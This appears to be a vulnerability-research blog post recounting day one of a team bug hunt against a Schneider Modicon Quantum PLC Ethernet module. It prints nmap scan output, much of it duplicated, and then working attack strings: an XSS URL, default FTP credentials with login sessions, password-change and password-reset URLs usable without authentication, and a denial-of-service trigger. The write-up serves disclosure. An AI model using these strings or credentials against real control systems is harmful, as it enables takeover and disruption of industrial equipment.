A Team Building Activity

One of the neat things about being a bug hunter at Tenable is we have access to devices we might otherwise not get access to. For example, Tenable’s SCADA team has built up an impressive array of PLCs in their SCADA lab. When Zero Day Research asked the SCADA team if we could borrow one of their PLCs for a bug hunting contest, they were more than happy to share.

Generally speaking, the Zero Day team doesn’t do internal bug hunting competitions. I don’t think it’s conducive to good research. But we’re a new team and we’re geographically spread out, so we figured it would be a fun team building activity. We were allocated a small prize and a long weekend (Friday, Saturday, and Sunday) to find bugs. Whoever finds the most bugs wins. Not a perfect format but good enough for laughs.

From the SCADA team’s inventory we selected a Schneider Modicon Quantum PLC with a 140 NOC 77101 Ethernet Module.

The Modicon Quantum is no stranger to security researchers. The Quantum has seen multiple ICS-CERT advisories and Metasploit modules that date back to 2012:

Notably, ICSA-18–086–01 reflects a number of vulnerabilities found by Positive Technologies earlier this year that Schneider Electric opted not to patch despite the Modicon Quantum not reaching end of commercialization until December 2018 and end of support in December 2026.

The lack of patches is troubling in general, but combined with ambiguous vulnerability descriptions it becomes difficult for researchers to determine if they’re finding new vulnerabilities or old ones. As such, the vulnerabilities I’m about to discuss may or may not be duplicates of previously found but unpatched and inadequately described CVEs.

Day One of the Bug Hunt

A lot of time is wasted on day one. Getting VMs configured. Ensuring everyone has access to the SCADA lab. Getting caught up in actual work. But eventually we’re able to come together as a team and begin. Due to some misguided camaraderie (this is a contest) basic attack surface information is shared amongst the team.





Starting Nmap 7.60 (

Nmap scan report for 192.168.248.30

Host is up (0.00038s latency).

Not shown: 65531 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vxTarget ftpd (VxWorks 6.4)

80/tcp open http Schneider-WEB 2.2.2

|_http-server-header: Schneider-WEB/V2.2.2

| http-title: Site doesn't have a title (text/html).

|_Requested resource was

502/tcp open mbap?

44818/tcp open EtherNet-IP-2

| enip-info:

| Vendor: Schneider Automation Inc. (243)

| Product Name: 140 NOC 771 01

| Serial Number: 0x041605ab

| Device Type: Communications Adapter (12)

| Product Code: 1026

| Revision: 1.7

|_ Device IP: 192.168.248.30

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at

SF-Port502-TCP:V=7.60%I=7%D=8/23%Time=5B7F3EDA%P=x86_64-pc-linux-gnu%r(LDA

SF:PSearchReq,9,"0\x84\0\0\0\x03\x02\x81\x03");

Service Info: OS: VxWorks; CPE: cpe:/o:windriver:vxworks:6.4



Service detection performed. Please report any incorrect results at

Nmap done: 1 IP address (1 host up) scanned in 488.69 seconds tenable@dev:~$ nmap -A -p 1-65535 192.168.248.30Starting Nmap 7.60 ( https://nmap.org ) at 2018-08-23 19:04 EDTNmap scan report for 192.168.248.30Host is up (0.00038s latency).Not shown: 65531 closed portsPORT STATE SERVICE VERSION21/tcp open ftp vxTarget ftpd (VxWorks 6.4)80/tcp open http Schneider-WEB 2.2.2|_http-server-header: Schneider-WEB/V2.2.2| http-title: Site doesn't have a title (text/html).|_Requested resource was http://192.168.248.30/index.htm 502/tcp open mbap?44818/tcp open EtherNet-IP-2| enip-info:| Vendor: Schneider Automation Inc. (243)| Product Name: 140 NOC 771 01| Serial Number: 0x041605ab| Device Type: Communications Adapter (12)| Product Code: 1026| Revision: 1.7|_ Device IP: 192.168.248.301 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service SF-Port502-TCP:V=7.60%I=7%D=8/23%Time=5B7F3EDA%P=x86_64-pc-linux-gnu%r(LDASF:PSearchReq,9,"0\x84\0\0\0\x03\x02\x81\x03");Service Info: OS: VxWorks; CPE: cpe:/o:windriver:vxworks:6.4Service detection performed. Please report any incorrect results at https://nmap.org/submit/ Nmap done: 1 IP address (1 host up) scanned in 488.69 seconds



Starting Nmap 7.60 (

Nmap scan report for 192.168.248.30

Host is up (0.00044s latency).

Not shown: 994 closed ports

PORT STATE SERVICE VERSION

67/udp open|filtered dhcps

68/udp open|filtered dhcpc

69/udp open|filtered tftp

161/udp open snmp SNMPv1 server (public)

| snmp-interfaces:

| Port 1

| MAC address: 00:00:54:16:05:ac (Schneider Electric)

| Type: ethernetCsmacd Speed: 100 Mbps

| Traffic stats: 23.52 Mb sent, 30.40 Mb received

| Internal Interface

| IP address: 192.168.248.30 Netmask: 255.255.255.0

| MAC address: 00:00:54:16:05:ab (Schneider Electric)

| Type: ethernetCsmacd Speed: 100 Mbps

|_ Traffic stats: 6.19 Mb sent, 29.03 Mb received

| snmp-netstat:

| TCP 0.0.0.0:21 0.0.0.0:0

| TCP 0.0.0.0:80 0.0.0.0:0

| TCP 0.0.0.0:502 0.0.0.0:0

| TCP 127.0.0.1:502 127.0.0.1:1119

| TCP 127.0.0.1:1119 127.0.0.1:502

| TCP 192.168.248.30:21 192.168.248.13:34890

| TCP 192.168.248.30:80 192.168.248.13:52638

| TCP 192.168.248.30:80 192.168.248.13:52640

| TCP 192.168.248.30:80 192.168.248.13:52642

| TCP 192.168.248.30:80 192.168.248.13:52644

| TCP 192.168.248.30:80 192.168.248.13:52646

| TCP 192.168.248.30:80 192.168.248.13:52652

| TCP 192.168.248.30:80 192.168.248.13:52654

| TCP 192.168.248.30:80 192.168.248.13:52656

| TCP 192.168.248.30:80 192.168.248.13:52660

| TCP 192.168.248.30:80 192.168.248.13:52664

| TCP 192.168.248.30:80 192.168.248.14:33048

| TCP 192.168.248.30:80 192.168.248.14:33050

| TCP 192.168.248.30:80 192.168.248.14:33052

| TCP 192.168.248.30:80 192.168.248.14:33054

| TCP 192.168.248.30:80 192.168.248.14:33056

| TCP 192.168.248.30:80 192.168.248.14:33058

| TCP 192.168.248.30:80 192.168.248.14:33068

| TCP 192.168.248.30:80 192.168.248.14:33070

| TCP 192.168.248.30:80 192.168.248.14:33072

| TCP 192.168.248.30:80 192.168.248.14:44472

| TCP 192.168.248.30:80 192.168.248.14:44474

| TCP 192.168.248.30:80 192.168.248.14:44476

| TCP 192.168.248.30:80 192.168.248.14:44478

| TCP 192.168.248.30:80 192.168.248.19:54982

| TCP 192.168.248.30:80 192.168.248.19:55040

| TCP 192.168.248.30:80 192.168.248.25:36578

| TCP 192.168.248.30:80 192.168.248.25:36584

| TCP 192.168.248.30:80 192.168.248.25:36586

| TCP 192.168.248.30:80 192.168.248.25:36588

| TCP 192.168.248.30:80 192.168.248.25:36590

| TCP 192.168.248.30:44818 0.0.0.0:0

| UDP 0.0.0.0:67 *:*

| UDP 0.0.0.0:68 *:*

| UDP 0.0.0.0:69 *:*

| UDP 0.0.0.0:161 *:*

| UDP 0.0.0.0:2222 *:*

|_ UDP 0.0.0.0:44818 *:*

| snmp-sysdescr: Schneider Electric Quantum 140 NOC77101 Ethernet Communication Module

|_ System uptime: 1d22h38m50.10s (16793010 timeticks)

1043/udp open tcpwrapped

2222/udp open|filtered msantipiracy

MAC Address: 00:00:54:16:05:AB (Schneider Electric)

Too many fingerprints match this host to give specific OS details

Network Distance: 1 hop

Service Info: Host: 140 NOC77101



TRACEROUTE

HOP RTT ADDRESS

1 0.44 ms 192.168.248.30



OS and Service detection performed. Please report any incorrect results at

Nmap done: 1 IP address (1 host up) scanned in 254.32 seconds tenable@dev~$ sudo nmap -sU -A 192.168.248.30Starting Nmap 7.60 ( https://nmap.org ) at 2018-08-24 13:12 EDTNmap scan report for 192.168.248.30Host is up (0.00044s latency).Not shown: 994 closed portsPORT STATE SERVICE VERSION67/udp open|filtered dhcps68/udp open|filtered dhcpc69/udp open|filtered tftp161/udp open snmp SNMPv1 server (public)| snmp-interfaces:| Port 1| MAC address: 00:00:54:16:05:ac (Schneider Electric)| Type: ethernetCsmacd Speed: 100 Mbps| Traffic stats: 23.52 Mb sent, 30.40 Mb received| Internal Interface| IP address: 192.168.248.30 Netmask: 255.255.255.0| MAC address: 00:00:54:16:05:ab (Schneider Electric)| Type: ethernetCsmacd Speed: 100 Mbps|_ Traffic stats: 6.19 Mb sent, 29.03 Mb received| snmp-netstat:| TCP 0.0.0.0:21 0.0.0.0:0| TCP 0.0.0.0:80 0.0.0.0:0| TCP 0.0.0.0:502 0.0.0.0:0| TCP 127.0.0.1:502 127.0.0.1:1119| TCP 127.0.0.1:1119 127.0.0.1:502| TCP 192.168.248.30:21 192.168.248.13:34890| TCP 192.168.248.30:80 192.168.248.13:52638| TCP 192.168.248.30:80 192.168.248.13:52640| TCP 192.168.248.30:80 192.168.248.13:52642| TCP 192.168.248.30:80 192.168.248.13:52644| TCP 192.168.248.30:80 192.168.248.13:52646| TCP 192.168.248.30:80 192.168.248.13:52652| TCP 192.168.248.30:80 192.168.248.13:52654| TCP 192.168.248.30:80 192.168.248.13:52656| TCP 192.168.248.30:80 192.168.248.13:52660| TCP 192.168.248.30:80 192.168.248.13:52664| TCP 192.168.248.30:80 192.168.248.14:33048| TCP 192.168.248.30:80 192.168.248.14:33050| TCP 192.168.248.30:80 192.168.248.14:33052| TCP 192.168.248.30:80 192.168.248.14:33054| TCP 192.168.248.30:80 192.168.248.14:33056| TCP 192.168.248.30:80 192.168.248.14:33058| TCP 192.168.248.30:80 192.168.248.14:33068| TCP 192.168.248.30:80 192.168.248.14:33070| TCP 192.168.248.30:80 192.168.248.14:33072| TCP 192.168.248.30:80 192.168.248.14:44472| TCP 192.168.248.30:80 192.168.248.14:44474| TCP 192.168.248.30:80 192.168.248.14:44476| TCP 192.168.248.30:80 192.168.248.14:44478| TCP 192.168.248.30:80 192.168.248.19:54982| TCP 192.168.248.30:80 192.168.248.19:55040| TCP 192.168.248.30:80 192.168.248.25:36578| TCP 192.168.248.30:80 192.168.248.25:36584| TCP 192.168.248.30:80 192.168.248.25:36586| TCP 192.168.248.30:80 192.168.248.25:36588| TCP 192.168.248.30:80 192.168.248.25:36590| TCP 192.168.248.30:44818 0.0.0.0:0| UDP 0.0.0.0:67 *:*| UDP 0.0.0.0:68 *:*| UDP 0.0.0.0:69 *:*| UDP 0.0.0.0:161 *:*| UDP 0.0.0.0:2222 *:*|_ UDP 0.0.0.0:44818 *:*| snmp-sysdescr: Schneider Electric Quantum 140 NOC77101 Ethernet Communication Module|_ System uptime: 1d22h38m50.10s (16793010 timeticks)1043/udp open tcpwrapped2222/udp open|filtered msantipiracyMAC Address: 00:00:54:16:05:AB (Schneider Electric)Too many fingerprints match this host to give specific OS detailsNetwork Distance: 1 hopService Info: Host: 140 NOC77101TRACEROUTEHOP RTT ADDRESS1 0.44 ms 192.168.248.30OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ Nmap done: 1 IP address (1 host up) scanned in 254.32 seconds

Also, the team quickly determined that the device’s web interface relied heavily on client side JAR files.

function writeApplet()

{

document.writeln('<APPLET CODEBASE="../../classes" ARCHIVE="webdiag.jar, XMLParser.jar,SAComm.jar" CODE="com.schneiderautomation.webdiag.ProcessorLoadApplet.class" WIDTH="100%" HEIGHT="500">');

document.writeln(buildParamTag('Language', getLanguage()));

document.writeln('</APPLET>');

}

Finally, the team grabbed the latest firmware for the 140 NOC 771 01.

With the high-level attack surface enumerated the team raced off to find bugs. They quickly started rolling in.

Bug 1: Unauthenticated Reflected XSS

Almost immediately, a team member came across an unauthenticated reflected cross-site scripting vector. The URL takes this form:

http://192.168.248.30/goform/formTest?name=<script>alert()</script>

Bug 2: Java Default FTP Credentials

It also took very little time to find default credentials in the client JAR files. Oddly, the same credentials appear over and over again. Below is a screenshot from com.schneiderautomation.ms.TextFiles.java but the credentials can also be found in com.schneiderautomation.misc.GlobalConfig.java and com.transparentfactory.rde.sacomm.Rde.java as well.

Bug 3: More Default FTP Credentials

The team also found that the credentials fdrusers:sresurdf are valid FTP credentials. We actually found this one in old documentation.

tenable@dev:~$ ftp 192.168.248.30

Connected to 192.168.248.30.

220 vxTarget FTP server (VxWorks 6.4) ready.

Name (192.168.248.30:tenable): fdrusers

331 Password required for fdrusers.

Password:

230 User fdrusers logged in.

Remote system type is VxWorks:.

ftp> pwd

257 "/RAM0" is current directory.

ftp>

Bug 4: Still More Default FTP Accounts and Hash Collisions

Back in 2010, H.D. Moore published details on a weak password hashing algorithm in VxWorks. Of course, that algorithm is still being used in our target device. We were able to use hash collisions on two other built-in FTP accounts: fwupgrade:FaAmU5p2F~ and loki:ZfTljublsx.

tenable@dev:~$ ftp 192.168.248.30

Connected to 192.168.248.30.

220 vxTarget FTP server (VxWorks 6.4) ready.

Name (192.168.248.30:tenable): loki

331 Password required for loki.

Password:

230 User loki logged in.

Remote system type is VxWorks:.

ftp> dir

200 PORT command successful.

150 Opening ASCII mode data connection for 'file list'.

FLASH0

RAM0

RAM1

226 Transfer complete.

ftp> pwd

257 "/" is current directory.

ftp>

Bug 5: Password Change Vulnerable to CSRF

The web interface, excluding the Java portion, is pretty simple and doesn’t have too much functionality. Part of the functionality it does have though, is changing the “admin” user’s password. The team quickly focused there.

First, a team member found that neither an anti-forgery token nor the old password is required when resetting the administrator’s password. A logged in administrator can be tricked into changing their password by clicking on the following link:

http://192.168.248.30/secure/embedded/builtin?Language=English&user=admin&passwd=evilpass&cnfpasswd=evilpass&subhttppwd=Save+User

Bug 6: Unauthenticated HTTP Password Change

Next, the team found that an unauthenticated remote attacker can use the following URL to change the administrator’s password:

http://192.168.248.30/unsecure/embedded/builtin?Language=English&user=admin&passwd=evilpass&cnfpasswd=evilpass&subhttppwd=Save+User

The only difference between the authenticated URL and unauthenticated URL is that one uses the “secure” path and the other uses the “unsecure” path. Seriously.

Bug 7: Unauthenticated HTTP Password Reset to Default

Finally, the a team member found that an unauthenticated remote attacker can delete the userlist_encrypt.dat file by visiting the following URL:

http://192.168.248.30/unsecure/embedded/builtin?submit=Delete%20Password

This will revert the HTTP interface back to the default administrator credentials of “USER:USER”.

Bug 8: HTTP Denial of Service

A little bit deeper into the system than the other vulnerabilities, a team member found an unauthenticated remote attacker can trigger a denial of service by sending an HTTP request to the web server without the \r

\r

terminators. This occurs due to a NULL pointer dereference after the server fails to find the

character in the next header field. You can see below that r3 is 0 when

is not found.

But r3 later gets dereferenced even when it is NULL.

Conclusion of Day One

That concluded day one. All sorts of low hanging fruit had been found. The team broke for the day and prepared to explore additional interfaces on day two.